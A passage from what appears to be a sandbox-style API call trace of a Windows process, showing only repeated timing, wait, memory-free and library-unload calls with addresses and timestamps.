GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4d051026, dwHighDateTime=0x1d9eb0c)) [0181.476] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.479] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d09d522, dwHighDateTime=0x1d9eb0c)) [0181.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4d09d522, dwHighDateTime=0x1d9eb0c)) [0181.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4d09d522, dwHighDateTime=0x1d9eb0c)) [0181.507] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0181.509] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d09d522, dwHighDateTime=0x1d9eb0c)) [0181.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f828 | out: lpSystemTimeAsFileTime=0x67127f828*(dwLowDateTime=0x4d0c378d, dwHighDateTime=0x1d9eb0c)) [0181.513] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f830 | out: lpSystemTimeAsFileTime=0x67127f830*(dwLowDateTime=0x4d0c378d, dwHighDateTime=0x1d9eb0c)) [0181.513] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xfffffff1, bAlertable=0) returned 0x0 [0181.516] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d0c378d, dwHighDateTime=0x1d9eb0c)) [0181.518] free (_Block=0x196ef0d2000) [0181.518] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.519] free (_Block=0x196ef0d67b0) [0181.520] free (_Block=0x196ef0cc850) [0181.520] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d0c378d, dwHighDateTime=0x1d9eb0c)) [0181.526] free (_Block=0x196ef0d1de0) [0181.526] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.527] free (_Block=0x196ef0d67b0) [0181.530] free (_Block=0x196ef0cc850) [0181.530] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d0ebebd, dwHighDateTime=0x1d9eb0c)) [0181.537] free (_Block=0x196ef0d1d20) [0181.537] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.538] free (_Block=0x196ef0d67b0) [0181.538] free (_Block=0x196ef0ccda0) [0181.538] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d1f4a17, dwHighDateTime=0x1d9eb0c)) [0181.649] free (_Block=0x196ef0d1ba0) [0181.649] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.649] free (_Block=0x196ef0d67b0) [0181.650] free (_Block=0x196ef0ccda0) [0181.650] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d240df5, dwHighDateTime=0x1d9eb0c)) [0181.674] free (_Block=0x196ef0d1e00) [0181.674] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.675] free (_Block=0x196ef0d67b0) [0181.675] free (_Block=0x196ef0cc850) [0181.675] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d2b379c, dwHighDateTime=0x1d9eb0c)) [0181.717] free (_Block=0x196ef0d1ec0) [0181.717] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.718] free (_Block=0x196ef0d67b0) [0181.719] free (_Block=0x196ef0cc850) [0181.719] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.720] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d456ff7, dwHighDateTime=0x1d9eb0c)) [0181.894] free (_Block=0x196ef0d1b20) [0181.894] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.894] free (_Block=0x196ef0d67b0) [0181.895] free (_Block=0x196ef0ccda0) [0181.895] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d47d320, dwHighDateTime=0x1d9eb0c)) [0181.905] free (_Block=0x196ef0d1d00) [0181.905] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.906] free (_Block=0x196ef0d67b0) [0181.906] free (_Block=0x196ef0cc850) [0181.906] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d47d320, dwHighDateTime=0x1d9eb0c)) [0181.914] free (_Block=0x196ef0d1d40) [0181.914] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.914] free (_Block=0x196ef0d67b0) [0181.915] free (_Block=0x196ef0ccda0) [0181.915] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0181.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d4a34ba, dwHighDateTime=0x1d9eb0c)) [0181.929] free (_Block=0x196ef0d1c40) [0181.929] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0181.929] free (_Block=0x196ef0d67b0) [0181.930] free (_Block=0x196ef0cc850) [0181.930] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d647033, dwHighDateTime=0x1d9eb0c)) [0182.089] free (_Block=0x196ef0d1de0) [0182.089] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.090] free (_Block=0x196ef0d67b0) [0182.090] free (_Block=0x196ef0cd160) [0182.091] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.091] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.210] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d751f92, dwHighDateTime=0x1d9eb0c)) [0182.211] free (_Block=0x196ef0d1cc0) [0182.211] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.211] free (_Block=0x196ef0d67b0) [0182.212] free (_Block=0x196ef0cd160) [0182.212] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d778297, dwHighDateTime=0x1d9eb0c)) [0182.221] free (_Block=0x196ef0d1aa0) [0182.221] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.222] free (_Block=0x196ef0d67b0) [0182.222] free (_Block=0x196ef0cd160) [0182.222] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d778297, dwHighDateTime=0x1d9eb0c)) [0182.227] free (_Block=0x196ef0d1a60) [0182.227] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.228] free (_Block=0x196ef0d67b0) [0182.228] free (_Block=0x196ef0ccda0) [0182.228] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d79e43b, dwHighDateTime=0x1d9eb0c)) [0182.234] free (_Block=0x196ef0d1c00) [0182.234] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.234] free (_Block=0x196ef0d67b0) [0182.235] free (_Block=0x196ef0ccda0) [0182.235] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d79e43b, dwHighDateTime=0x1d9eb0c)) [0182.240] free (_Block=0x196ef0d1c80) [0182.240] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.240] free (_Block=0x196ef0d67b0) [0182.241] free (_Block=0x196ef0ccda0) [0182.241] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d8fc32a, dwHighDateTime=0x1d9eb0c)) [0182.374] free (_Block=0x196ef0d20e0) [0182.374] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.375] free (_Block=0x196ef0d67b0) [0182.375] free (_Block=0x196ef0ccda0) [0182.376] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d8fc32a, dwHighDateTime=0x1d9eb0c)) [0182.381] free (_Block=0x196ef0d1e60) [0182.381] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.381] free (_Block=0x196ef0d67b0) [0182.382] free (_Block=0x196ef0cd160) [0182.382] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d91bc77, dwHighDateTime=0x1d9eb0c)) [0182.387] free (_Block=0x196ef0d1b60) [0182.387] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.388] free (_Block=0x196ef0d67b0) [0182.388] free (_Block=0x196ef0ccda0) [0182.388] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d91bc77, dwHighDateTime=0x1d9eb0c)) [0182.393] free (_Block=0x196ef0d1e60) [0182.393] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.394] free (_Block=0x196ef0d67b0) [0182.394] free (_Block=0x196ef0ccda0) [0182.394] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d91bc77, dwHighDateTime=0x1d9eb0c)) [0182.399] free (_Block=0x196ef0d1e00) [0182.399] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.400] free (_Block=0x196ef0d67b0) [0182.400] free (_Block=0x196ef0cc850) [0182.400] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d941e10, dwHighDateTime=0x1d9eb0c)) [0182.405] free (_Block=0x196ef0d1ec0) [0182.405] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.405] free (_Block=0x196ef0d67b0) [0182.406] free (_Block=0x196ef0cd160) [0182.406] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4d941e10, dwHighDateTime=0x1d9eb0c)) [0182.412] free (_Block=0x196ef0d19e0) [0182.412] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.412] free (_Block=0x196ef0d67b0) [0182.413] free (_Block=0x196ef0cc850) [0182.413] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4db31f33, dwHighDateTime=0x1d9eb0c)) [0182.605] free (_Block=0x196ef0d2020) [0182.606] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.606] free (_Block=0x196ef0d67b0) [0182.610] free (_Block=0x196ef0cd160) [0182.610] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.610] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dba4337, dwHighDateTime=0x1d9eb0c)) [0182.661] free (_Block=0x196ef0d1c40) [0182.661] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.662] free (_Block=0x196ef0d67b0) [0182.663] free (_Block=0x196ef0cd160) [0182.663] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dbca8fb, dwHighDateTime=0x1d9eb0c)) [0182.670] free (_Block=0x196ef0d1de0) [0182.670] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.670] free (_Block=0x196ef0d67b0) [0182.671] free (_Block=0x196ef0ccda0) [0182.671] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dbca8fb, dwHighDateTime=0x1d9eb0c)) [0182.676] free (_Block=0x196ef0d20e0) [0182.676] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.677] free (_Block=0x196ef0d67b0) [0182.677] free (_Block=0x196ef0ccda0) [0182.678] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.684] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dbf0a26, dwHighDateTime=0x1d9eb0c)) [0182.684] free (_Block=0x196ef0d1d00) [0182.684] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.685] free (_Block=0x196ef0d67b0) [0182.685] free (_Block=0x196ef0ccda0) [0182.686] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.699] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.699] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dc89245, dwHighDateTime=0x1d9eb0c)) [0182.747] free (_Block=0x196ef0d1e60) [0182.748] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.748] free (_Block=0x196ef0d67b0) [0182.749] free (_Block=0x196ef0cc850) [0182.749] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.754] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dc89245, dwHighDateTime=0x1d9eb0c)) [0182.755] free (_Block=0x196ef0d1ac0) [0182.755] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.755] free (_Block=0x196ef0d67b0) [0182.756] free (_Block=0x196ef0cc850) [0182.756] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dcbb2cd, dwHighDateTime=0x1d9eb0c)) [0182.768] free (_Block=0x196ef0d1ba0) [0182.768] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.768] free (_Block=0x196ef0d67b0) [0182.769] free (_Block=0x196ef0ccda0) [0182.769] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dcbb2cd, dwHighDateTime=0x1d9eb0c)) [0182.776] free (_Block=0x196ef0d1d20) [0182.776] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.777] free (_Block=0x196ef0d67b0) [0182.778] free (_Block=0x196ef0ccda0) [0182.778] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dcd576d, dwHighDateTime=0x1d9eb0c)) [0182.786] free (_Block=0x196ef0d1aa0) [0182.786] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.786] free (_Block=0x196ef0d67b0) [0182.787] free (_Block=0x196ef0cc850) [0182.787] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dd94264, dwHighDateTime=0x1d9eb0c)) [0182.863] free (_Block=0x196ef0d1b00) [0182.863] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.864] free (_Block=0x196ef0d67b0) [0182.864] free (_Block=0x196ef0ccda0) [0182.864] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dd94264, dwHighDateTime=0x1d9eb0c)) [0182.870] free (_Block=0x196ef0d2080) [0182.870] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.870] free (_Block=0x196ef0d67b0) [0182.871] free (_Block=0x196ef0cc850) [0182.871] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ddbac9d, dwHighDateTime=0x1d9eb0c)) [0182.875] free (_Block=0x196ef0d1ce0) [0182.875] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.876] free (_Block=0x196ef0d67b0) [0182.876] free (_Block=0x196ef0cd160) [0182.876] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0182.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4ddbac9d, dwHighDateTime=0x1d9eb0c)) [0182.882] free (_Block=0x196ef0d1fa0) [0182.882] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0182.882] free (_Block=0x196ef0d67b0) [0182.882] free (_Block=0x196ef0cc850) [0182.883] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.004] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.005] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.027] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.027] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dff67fb, dwHighDateTime=0x1d9eb0c)) [0183.110] free (_Block=0x196ef0d1d20) [0183.110] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.110] free (_Block=0x196ef0d67b0) [0183.110] free (_Block=0x196ef0fb7c0) [0183.110] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4dff67fb, dwHighDateTime=0x1d9eb0c)) [0183.116] free (_Block=0x196ef0d2020) [0183.116] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.117] free (_Block=0x196ef0d67b0) [0183.117] free (_Block=0x196ef0fb270) [0183.117] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e01cbab, dwHighDateTime=0x1d9eb0c)) [0183.123] free (_Block=0x196ef0d19c0) [0183.123] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.123] free (_Block=0x196ef0d67b0) [0183.123] free (_Block=0x196ef0fb4a0) [0183.123] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e01cbab, dwHighDateTime=0x1d9eb0c)) [0183.133] free (_Block=0x196ef0d1de0) [0183.133] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.134] free (_Block=0x196ef0d67b0) [0183.134] free (_Block=0x196ef0fb360) [0183.134] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e042f95, dwHighDateTime=0x1d9eb0c)) [0183.139] free (_Block=0x196ef0d1ec0) [0183.139] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.139] free (_Block=0x196ef0d67b0) [0183.139] free (_Block=0x196ef0fb270) [0183.139] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e042f95, dwHighDateTime=0x1d9eb0c)) [0183.145] free (_Block=0x196ef0d1a60) [0183.145] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.145] free (_Block=0x196ef0d67b0) [0183.145] free (_Block=0x196ef0fc030) [0183.146] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e127b20, dwHighDateTime=0x1d9eb0c)) [0183.234] free (_Block=0x196ef0d1a80) [0183.234] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.234] free (_Block=0x196ef0d67b0) [0183.235] free (_Block=0x196ef0fc170) [0183.235] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e127b20, dwHighDateTime=0x1d9eb0c)) [0183.242] free (_Block=0x196ef0d1e60) [0183.242] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.242] free (_Block=0x196ef0d67b0) [0183.243] free (_Block=0x196ef0fbae0) [0183.243] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e14dd25, dwHighDateTime=0x1d9eb0c)) [0183.250] free (_Block=0x196ef0d1fa0) [0183.250] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.250] free (_Block=0x196ef0d67b0) [0183.250] free (_Block=0x196ef0fb9a0) [0183.251] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e14dd25, dwHighDateTime=0x1d9eb0c)) [0183.258] free (_Block=0x196ef0d1980) [0183.258] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.258] free (_Block=0x196ef0d67b0) [0183.258] free (_Block=0x196ef0fbc70) [0183.259] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e17d20b, dwHighDateTime=0x1d9eb0c)) [0183.268] free (_Block=0x196ef0d1e60) [0183.269] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.269] free (_Block=0x196ef0d67b0) [0183.269] free (_Block=0x196ef0fb5e0) [0183.269] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0183.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x4e17d20b, dwHighDateTime=0x1d9eb0c)) [0183.275] free (_Block=0x196ef0d20e0) [0183.275] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0183.275] free 